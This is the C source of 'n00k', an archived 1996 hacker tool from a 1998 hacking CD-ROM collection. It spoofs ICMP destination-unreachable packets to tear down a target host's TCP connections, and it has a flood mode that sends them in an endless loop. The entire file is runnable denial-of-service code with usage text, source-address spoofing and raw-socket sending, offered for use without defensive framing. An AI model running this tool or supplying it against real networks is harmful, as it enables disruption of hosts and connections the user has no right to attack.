home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / resolve.c / gk.c next >
Encoding:
C/C++ Source or Header  |  1996-05-18  |  6.2 KB  |  227 lines

  1. /*
  2.  * n00k.c
  3.  * by crisk
  4.  *  
  5.  * try to icmp-nuke a host using spoofed icmp-unreachable packets.
  6.  * 
  7.  * version 0.0.1beta    January 1996
  8.  * 
  9.  * Possible enhancements:  
  10.  * - Automatic/semi-automatic route tracing
  11.  * - Source routing IP (in icmp_pkt.c) 
  12.  *
  13.  */
  14.  
  15.  
  16. /* #define ICMP_PKT_DEBUG */ 
  17. #define RESOLVE_QUIET
  18.  
  19. #include <stdio.h>
  20. #include <netinet/in.h>
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <unistd.h>
  24. #include <stdlib.h>
  25.  
  26. #include "resolve.c"
  27. #include "icmp_pkt.c"
  28.  
  29. #define N00K_VERSION "0.0.1beta"
  30.  
  31. /* GENERAL ROUTINES ------------------------------------------- */
  32.  
  33. void banner(void)
  34.      {
  35.     printf("\nn00k\n");
  36.     printf("version %s\n",N00K_VERSION);
  37.         printf("by crisk.\n\n");
  38.      }
  39.     
  40. void usage(const char *progname)
  41.      {
  42.     printf("\nusage: \n");
  43.     printf("%s [-f] [-q seq] [-p sport] [-d dport] <type> <spoof> <dest> <origdest>\n\n",progname);
  44.     printf("\t-f : flood\n");
  45.     printf("\t-q : set the bogus-original tcp sequence# to <seq>\n");
  46.     printf("\t-p : set the bogus-original tcp source port to <sport>\n");
  47.     printf("\t-d : set the bogus-original tcp dest. port to <dport>\n");
  48.         printf("\t<type>     : unreachable type (0 to 12)\n");
  49.         printf("\t<spoof>    : address of fake ICMP packet sender\n");
  50.     printf("\t<dest>     : destination of the unreach message\n");
  51.     printf("\t<origdest> : the faked destination or the orig-tcp packet\n");
  52.            printf("\n");
  53.      }
  54.  
  55. /* OPTION PARSING -------------------------------------------- */
  56.  
  57. unsigned char *dest_name;
  58. unsigned char *origdest_name;
  59. unsigned char *spoof_name = NULL;
  60. struct sockaddr_in destaddr;
  61. unsigned long origdest_addr;
  62. unsigned long dest_addr;
  63. unsigned long spoof_addr;
  64. unsigned char type;
  65. unsigned      sport, dport;
  66. unsigned long seq;
  67. char          flood = 0;
  68.  
  69. char *unreachables[] =  {"Network unreachable",
  70.                          "Host unreachable",
  71.                          "Protocol unreachable",
  72.                          "Port unreachable",
  73.                          "Fragmantation needed and DF set",
  74.                          "Source route failed",
  75.                          "Network unknown",
  76.                          "Host unknown",
  77.                          "Source host is isolated",
  78.                          "Network administratively unreachable",
  79.                          "Host administratively unreachable",
  80.                          "Network unreachable - type of service",
  81.                          "Host unreachable - type of service"};    
  82.                          
  83. int resolve_one(const char *name, unsigned long *addr, const char *desc)
  84.      {
  85.         struct sockaddr_in tempaddr;
  86.     if (resolve(name, &tempaddr,0) == -1) {
  87.        printf("error: can't resolve the %s.\n",desc);
  88.        return -1;
  89.     }
  90.             
  91.     *addr = tempaddr.sin_addr.s_addr;
  92.            return 0;
  93.      }
  94.  
  95. int resolve_all(const char *origdest,
  96.         const char *dest,
  97.         const char *spoof)
  98.      {
  99.     if (resolve_one(origdest,&origdest_addr,"origdest address")) return -1;
  100.         if (resolve_one(dest,&dest_addr,"dest address")) return -1;
  101.     if (spoof!=NULL) 
  102.       if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
  103.     
  104.     destaddr.sin_addr.s_addr = dest_addr;
  105.     destaddr.sin_family      = AF_INET;
  106.     destaddr.sin_port        = 0;
  107.      }
  108.     
  109. void give_info(void)
  110.      {
  111.     printf("# target address          : %s (%s)\n",dest_name,inet_ntoa(dest_addr));
  112.     printf("# original packet target  : %s (%s)\n",origdest_name,inet_ntoa(origdest_addr));
  113.     printf("# spoof-from address      : %s (%s)\n\n",spoof_name,inet_ntoa(spoof_addr));
  114.     printf("# bogus TCP source port   : %u\n",sport);
  115.     printf("# bogus TCP dest. port    : %u\n",dport);
  116.     printf("# bogus TCP sequence no.  : %lu\n\n",seq);
  117.           printf("# ICMP unreachable type   : %u (%s)\n\n",type,unreachables[type]);
  118.      }
  119.  
  120. int parse_args(int argc, char *argv[]) 
  121.      {
  122.         int opt;
  123.     
  124.     char *endptr;
  125.         
  126.     while ((opt=getopt(argc, argv, "fq:p:d:")) != -1)  {
  127.        switch(opt)  {
  128.           case 'f': flood = 1; break;
  129.           case 'q': seq = strtoul(optarg,&endptr,10);
  130.                     if (*endptr != '\0')  {
  131.                    printf("%s: bad sequence number '%s'\n", argv[0], optarg);
  132.                    return -1;
  133.                    }
  134.                 break;
  135.           case 'p': sport = strtoul(optarg,&endptr, 10);
  136.                     if (*endptr != '\0')  {
  137.                printf("%s: bad source port number '%s'\n",argv[0],optarg);
  138.                return -1;
  139.                     }
  140.                 break;
  141.           case 'd': dport = strtoul(optarg,&endptr, 10);
  142.                     if (*endptr != '\0')  {
  143.                printf("%s: bad dest port number '%s'\n",argv[0],optarg);
  144.                return -1;
  145.                     }
  146.                 break;
  147.           case '?':
  148.           case ':': return -1; break;
  149.        }
  150.       
  151.     }
  152.         
  153.     if (optind > argc-2)  {
  154.        printf("%s: missing parameters\n",argv[0]);
  155.        return -1;
  156.     }
  157.         
  158.     type = strtoul(argv[optind++],&endptr,10);
  159.     if ((*endptr != '\0') || (type>12)) {
  160.        printf("%s: bad unreachable type (0-12 only)\n");
  161.        return -1;
  162.     }
  163.     
  164.     if ((type == 2) || (type == 3)) {
  165.        printf("%s: (warning) unreaches of type 2 and 3 should be host-originated\n\n",argv[0]);
  166.     }
  167.     
  168.     spoof_name = argv[optind++];
  169.     dest_name = argv[optind++];
  170.     origdest_name = argv[optind++];
  171.     
  172.         return 0;                   
  173.      }
  174.  
  175.  
  176. /* MAIN ------------------------------------------------------ */
  177.  
  178. void main(int argc, char *argv[])
  179.      {
  180.         int s;
  181.         int floodloop;
  182.     
  183.           banner();
  184.         
  185.     if (parse_args(argc,argv)) 
  186.       {  
  187.          usage(argv[0]); 
  188.          return;
  189.       }
  190.  
  191.     
  192.     resolve_all(origdest_name, dest_name, spoof_name);
  193.     give_info();
  194.            
  195.            s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  196.     
  197.         if (!flood)
  198.       {
  199.          if (icmp_unreach_send(s,&destaddr,type,spoof_addr,origdest_addr
  200.                    ,dest_addr,sport,dport,seq) == -1)
  201.          {
  202.             printf("%s: error sending packet\n",argv[0]); perror(""); return;
  203.          }
  204.       }
  205.     else
  206.       {
  207.              printf("flooding. each dot represents 50 packets\n");
  208.              floodloop = 0;
  209.          while(1)
  210.          {
  211.         usleep(2500);
  212.          if (icmp_unreach_send(s,&destaddr,type,spoof_addr,
  213.                        origdest_addr,dest_addr,sport,dport,
  214.                        seq++) == -1) 
  215.              {
  216.             printf("%s: error sending packet\n",argv[0]); perror(""); return; 
  217.              }
  218.                  
  219.            if (!(floodloop = (floodloop+1)%50)) 
  220.           { fprintf(stdout,"."); fflush(stdout); 
  221.               }
  222.         
  223.           }
  224.       }
  225.      }
  226.  
  227.